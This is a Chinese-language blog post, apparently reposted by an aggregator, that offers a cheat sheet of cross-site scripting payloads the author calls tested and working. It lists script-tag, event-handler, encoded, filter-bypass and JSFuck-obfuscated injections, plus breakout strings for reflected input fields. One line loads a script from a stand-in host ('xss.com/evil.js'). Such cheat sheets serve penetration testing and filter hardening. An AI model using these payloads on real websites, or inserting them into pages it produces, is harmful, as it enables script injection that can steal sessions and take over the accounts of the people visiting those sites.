zoukankan      html  css  js  c++  java
  • 【命令汇总】XSS payload 速查表


    日期:2019-05-15 14:06:21
    作者:Bay0net
    介绍:收集并且可用的一些 XSS payload,网上的速查表很多,但是测试了下很多 payload 的不可用,这里都是自己能用的


    0x01、 基本流程

    先使用无害的标签进行测试,比如<b>、<i>、<u>等,然后在测试是否过滤了 '、"、<>

    0x02、可用的 payload

    日常使用

    <script>alert(1);</script>
    <script>prompt(1);</script>
    <script>confirm(1);</script>
    <scRipT>alert(999999)</ScriPt>
    <script src="http://xss.com/evil.js">
    <script src=data:text/javascript,alert(1)></script>
    <script>alert(String.fromCharCode(49,49))</script>
    <script>setTimeout(alert(1),0)</script>
    

    编码相关

    unicode

    <script>u0061u006Cu0065u0072u0074(1)</script>
    

    base64

    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">
    

    html 实体

    <script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>
    <a href= 'javascript:alert&#40;&#39;123&#39;&#41; '>Hello</a>
    <a href= "j&#97;vascript:alert&#40; '123' &#41;">Hello</a >
    <a  href=  "j&#97;vascript:alert&#0000040;  '123' &#41;">Hello</a >
    <a  href=  "j&#97vascript:alert&#0000040'123' &#41">Hello</a >
    <input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>
    

    eval 函数

    <a  href="j&#97;vascript:eval('&#97;x6cx65x72x74x28x22x31x22x29')">Hello</a>
    <a  href="j&#97;vascript:eval('&#97;u006Cx65x72x74x28x22x31x22x29')">Hello</a>
    <a  href="j&#97;vascript:eval('&#97;154x65x72x74x28x22x31x22x29')">Hello</a>
    

    SRC 属性

    <img src=x  onerror=prompt(1);>
    <img/src=aaa.jpg  onerror=prompt(1);>
    <video src=x  onerror=prompt(1);>
    <audio src=x  onerror=prompt(1);>
    
    <img src="#" onclick="javascript:alert('img:onclick')" onerror="javascript:alert('img:onerror')" onload="javascript:alert('img:onload')">
    <video src="#" onclick="javascript:alert('video:onclick')" onerror="javascript:alert('video:onerror')" onload="javascript:alert('video:onload')"></video>
    <audio src="#" onclick="javascript:alert('audio:onclick')" onerror="javascript:alert('audio:onerror')" onload="javascript:alert('audio:onload')"></audio>
    
    img、video、audio 标签
    onclick: 点击触发
    onerror: 当 src 加载不出来时触发
    onload: 当 src 加载完毕触发
    

    iframe

    <iframe src="javascript:alert(2)">
    <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
    <iframe/onload=alert(document.domain)></iframe>
    <IFRAME SRC="javascript:alert(29);"></IFRAME>
    

    过滤相关

    过滤空格和括号
    <svg><script>alert&#40/1/&#41</script>
    ( is html encoded to &#40
    ) is html encoded to &#41
    
    过滤括号
    <input onfocus="alert`1`" autofocus/>
    
    过滤了<script>的话
    <scr<script>ipt>alert(1)</scr<script>ipt>;
    

    其他标签

    embed
    <embed/src=//www.baidu.com>
    
    form
    <form action="Javascript:alert(1)"><input type=submit value="click me">
    <form><button formaction=javascript&colon;alert(1)>CLICKME
    <form/action=javascript:alert(22)><input/type=submit>
    <form onsubmit=alert(23)><button>M
    
    object
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
    <object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
    
    anytag
    <anytag onmouseover=alert(15)>M
    <anytag onclick=alert(16)>click
    
    a 标签
    <a href="http://www.google.com">Clickme</a>
    <a href="javascript:alert(1)">Clickme</a>
    <a onmouseover=alert(17)>1
    <a href=javascript:alert(19)>123
    
    button 标签
    <button/onclick=alert(20)>
    
    input 标签
    <input onfocus=alert(33) autofocus>
    <input onblur=alert(34) autofocus><input autofocus>
    
    body
    <body/onhashchange=alert(1)><a href=#>clickit
    <body/onload=alert(25)>
    <body onload=prompt(1);>
    
    svg 标签
    <svg/onload=prompt(1);>
    

    事件处理

    可用的事件

    onResume
    onReverse
    onSeek
    onSynchRestored
    onURLFlip
    onRepeat
    onPause
    onstop
    onmouseover
    

    具体的 payload

    <body onload=prompt(1);>
    <body onload= "javascript:alert('body')"></body>
    <svg onload=" javascript:alert('svg')"></svg >
    <a onmouseover= "javascript:alert('a_onmouseover')">12</ a>
    <select autofocus onfocus=alert(1)>
    <select autofocus onfocus="javascript:alert('select' )"></select>
    <textarea autofocus onfocus=alert(1)>
    <textarea autofocus onfocus="javascript:alert('textarea' )"></textarea>
    <keygen autofocus onfocus=alert(1)>
    <keygen autofocus onfocus="javascript:alert('keygen' )"></keygen>
    <video><source onerror="javascript:alert(1)">
    <audio><source onerror="javascript:alert('source')"></ audio>
    
    meta
    <meta http-equiv="refresh"  content="0;url=//baidu.com">
    

    JSFuck

    <img src=x onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()>
    

    0x03、特定情况

    基于反射

    代码:<input value="XSStest" type=text>
    其中的 XSStest,可以使用以下 payload

    " onmouseover=alert(0) x="
    " onfocusin=alert(1)     autofocus x="
    " onfocusout=alert(1)     autofocus x="
    " onblur=alert(1) autofocus     a="
    

    服务器过滤说明

    一般都过滤成这个样子

    小于号这样写:&lt; 或 &#60;
    大于号这样写:&gt; 或 &#62;
    

    0x04、XSSgame

    XSS Game

    About Me

    别活成自己讨厌的那种人就成。

    有问题欢迎沟通交流 :)

    WeChat:Bay0net

  • 相关阅读:
    《ASP.NET MVC 5 破境之道》:第一境 ASP.Net MVC5项目初探 — 第三节:View层简单改造
    《ASP.NET MVC 5 破境之道》:第一境 ASP.Net MVC5项目初探 — 第二节:MVC5项目结构
    量化投资学习笔记27——《Python机器学习应用》课程笔记01
    量化投资学习笔记26——机器学习算法概览
    量化投资学习笔记25——朴素贝叶斯:实操,泰坦尼克号乘客生还机会预测
    量化投资学习笔记24——贝叶斯方法
    量化投资学习笔记23——支持向量机:实操,泰坦尼克号乘客生还机会预测
    量化投资学习笔记22——回归分析:支持向量机
    量化投资学习笔记21——回归分析:逻辑回归
    量化投资学习笔记20——回归分析:实操,泰坦尼克号乘客生还机会预测,逻辑回归方法。
  • 原文地址:https://www.cnblogs.com/v1vvwv/p/xss-payload-summary.html
Copyright © 2011-2022 走看看